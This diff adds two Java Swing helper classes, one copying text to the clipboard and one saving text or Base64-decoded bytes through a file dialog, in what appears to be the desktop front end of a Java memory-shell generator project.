desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/util/ClipboardUtil.java

@@ -0,0 +1,12 @@
+package com.reajason.javaweb.desktop.memshell.util;
+
+import java.awt.*;
+import java.awt.datatransfer.StringSelection;
+
+public final class ClipboardUtil {
+    private ClipboardUtil() {}
+
+    public static void copyText(String text) {
+        Toolkit.getDefaultToolkit().getSystemClipboard().setContents(new StringSelection(text == null ? "" : text), null);
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/util/FileSaveUtil.java

@@ -0,0 +1,50 @@
+package com.reajason.javaweb.desktop.memshell.util;
+
+import javax.swing.*;
+import javax.swing.filechooser.FileNameExtensionFilter;
+import java.awt.*;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+
+public final class FileSaveUtil {
+    private FileSaveUtil() {}
+
+    public static void saveText(Component parent, String suggestedName, String content) throws IOException {
+        File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter("Text", "txt"));
+        if (file == null) return;
+        try (FileOutputStream fos = new FileOutputStream(file)) {
+            fos.write((content == null ? "" : content).getBytes(StandardCharsets.UTF_8));
+        }
+    }
+
+    public static void saveBase64AsBytes(Component parent, String suggestedName, String base64, String extension) throws IOException {
+        File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
+        if (file == null) return;
+        byte[] bytes = Base64.getDecoder().decode(base64 == null ? "" : base64);
+        try (FileOutputStream fos = new FileOutputStream(file)) {
+            fos.write(bytes);
+        }
+    }
+
+    public static void saveBytes(Component parent, String suggestedName, byte[] bytes, String extension) throws IOException {
+        File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
+        if (file == null) return;
+        try (FileOutputStream fos = new FileOutputStream(file)) {
+            fos.write(bytes);
+        }
+    }
+
+    public static File chooseFile(Component parent, String suggestedName, FileNameExtensionFilter filter) {
+        JFileChooser chooser = new JFileChooser();
+        chooser.setSelectedFile(new File(suggestedName));
+        chooser.setFileFilter(filter);
+        int result = chooser.showSaveDialog(parent);
+        if (result != JFileChooser.APPROVE_OPTION) {
+            return null;
+        }
+        return chooser.getSelectedFile();
+    }
+}